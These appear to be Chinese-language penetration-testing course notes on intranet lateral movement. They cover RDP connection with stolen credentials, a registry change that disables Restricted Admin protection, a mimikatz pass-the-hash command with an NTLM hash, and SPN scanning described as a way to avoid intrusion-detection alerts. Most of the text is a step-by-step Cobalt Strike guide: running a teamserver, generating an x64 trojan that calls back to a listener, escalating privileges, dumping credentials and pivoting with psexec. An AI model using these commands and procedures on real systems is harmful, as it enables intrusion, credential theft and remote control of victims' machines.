除了之前讲到的IPC,WMI,SMB等协议的连接外,获取到的明文密码或HASH密文也可以通过RDP协议进行连接操作。
RDP
RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断
windows:
mstsc /console /v :192.168.3.21:3389 /admin
linux:
rdesktop 192.168.3.21:3389
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin
/t REG_DWORD /d 00000000 /f
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain :god /ntlm
:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
kerberos中的spn详解
SPN扫描也称为”扫描Kerberos服务实例名称”。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一 部分,所以检测难度很大。

本地windows直接打开start.bat文件即可(需要java环境),输入账户名(随意),密码(服务器端设置的密码),连接即可。
有许多种协议类型的payload
这里选择HTTP,设置端口5566(随意),保存即可
勾选上x64,防止不兼容,选择刚才设置的监听器webserver,generate生成exe木马。
生成的artifact.exe放到虚拟机webserver运行,webserver上一运行就崩溃,只能换一下其他的试试。
换了sqlserver的也是如此。
小迪视频中是可以执行的,上线主机。
无法复现实验,就先参考一下别人的总结。大概也就这几个方面。
参考:https://www.bilibili.com/read/cv14802167?spm_id_from=333.999.0.0
1.关于启动及配置讲解
启动
服务器:
需要Java环境支持
来到CobaltStrike所在的目录
运行“teamserver”,后面是安装CobaltStrike的服务器的IP,而后是工具链接服务器的密码
./teamserver [IP] [密码]
./teamserver 101.37.160.211 xiaodi
客户端:
需要Java环境支持
直接运行“start.bat”,Host为服务器IP,Port为50050,User随便填,Password为刚刚设定的密码,点链接
配置
配置监听器:
选择“Cobalt Strike”“Listeners”
选择“Add”,“Payload”选择木马回连的协议,这里选择HTTP;随便取个名字;“HTTP Host(Stager)”填服务器地址;“HTTP Port(C2)”填回连的端口
生成木马:
选择“Attacks”“Packages”,然后根据需要选择后门类型。这里选择“Windows Executable”,“Output”选择“Windows EXE”,勾选x64。“Listener”选择自己的监听器,点击“Generate”
选择保存木马的位置,填写名字,“保存”。注意会被杀软查杀
执行木马:
想办法将木马传输到目标机器并执行
在“Event Log”会提示对应IP的终端上线了,在Event Log和视图页面可以看见主机的名字和权限
2.关于提权及插件加载
在视图界面,选中机器右键。“Interact”,打开命令行终端;“Session”,链接的管理和笔记等功能;中间是包括端口扫描、黄金票据、运行MimiKatz等常用功能
选中机器右键,“Access”“Elevate”即提权功能,但默认只有两种提权方式,需要安装插件
选择合适的EXP和监听器,点击“Launch”提权,成功后会显示在视图界面
安装插件:
选择“Cobalt Strike”“Script Manager”,选择“Load”载入所需插件的.cna文件,将.cna文件“Unload”
提权速度过慢:
选择“Session”“Sleep”,设置为1或者0
3.关于信息收集命令讲解
在视图界面,选中SYSTEM权限的机器右键。“Interact”,打开命令行终端
输入“help”,查看命令
输入“getuid”,获取权限情况
输入“net view”,探测当前的网络环境
选择“View”“Targets”,会展示所有已探测的信息
输入“net computers”,探测所有的机器的名字与IP
输入“net dclist”,获取当前域控的信息
输入“net user”,获取当前用户信息
输入“shell net user /domain”,加“shell”调用cmd执行命令,得到域内所有用户的名字
选择“Access”“Run Mimikatz”或者输入“mimikatz”来运行mimikatz
选择“View”“Credentials”,会展示mimikatz收集的密码信息
回到“Targets”界面,选中一台机器,右键“Jump”,选择合适的攻击方法进攻。这里以“psexec”为例
可以选择收集到的密码来攻击,也可以手动填写,选择合适的监听器和负责攻击的会话,点击“Launch”
自主工具:
可以上传第三方工具,调用cmd执行,借助工具提高效率
代理问题:
确保信息能够传输回来
